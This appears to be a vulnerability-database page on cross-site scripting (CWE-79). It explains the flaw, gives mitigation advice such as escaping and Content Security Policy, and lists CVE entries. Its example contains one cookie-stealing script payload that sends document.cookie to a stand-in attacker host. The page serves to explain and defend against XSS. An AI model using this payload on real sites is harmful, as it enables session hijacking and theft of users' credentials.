Fallos del tipo CWE-79

28.675 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-54881MEDIUMMermaid improperly sanitizes of sequence diagram labels leading to XSSEPSS 0.8%CVE-2024-26115MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.8%CVE-2023-36800HIGHDynamics Finance and Operations Cross-site Scripting VulnerabilityEPSS 0.8%CVE-2021-44478—A vulnerability has been identified in Polarion ALM (All versions < V21 R2 P2), Polarion WebClient for SVN (All versions). A cross-site scriEPSS 0.8%CVE-2021-24339—Pods < 2.7.27 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.8%CVE-2022-20647MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2022-20641MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2022-20640MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2022-20637MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2022-20636MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2026-88060HIGHAngular: SSR XSS via Unescaped <template> Content Across DocumentFragment Boundaries in Fallback Raw-Content ElementsEPSS 0.8%CVE-2022-20635MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2022-38723HIGHGravitee API Management before 3.15.13 allows path traversal through HTML injection.EPSS 0.8%CVE-2018-0719MEDIUMSecurity Advisory for Vulnerabilities in QTSEPSS 0.8%CVE-2022-20642MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2018-16459—An unescaped payload in exceljs <v1.6 allows a possible XSS via cell value when worksheet is displayed in browser.EPSS 0.8%CVE-2022-20644MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2022-20638MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2022-20643MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%CVE-2022-20645MEDIUMCisco Security Manager Cross-Site Scripting VulnerabilitiesEPSS 0.8%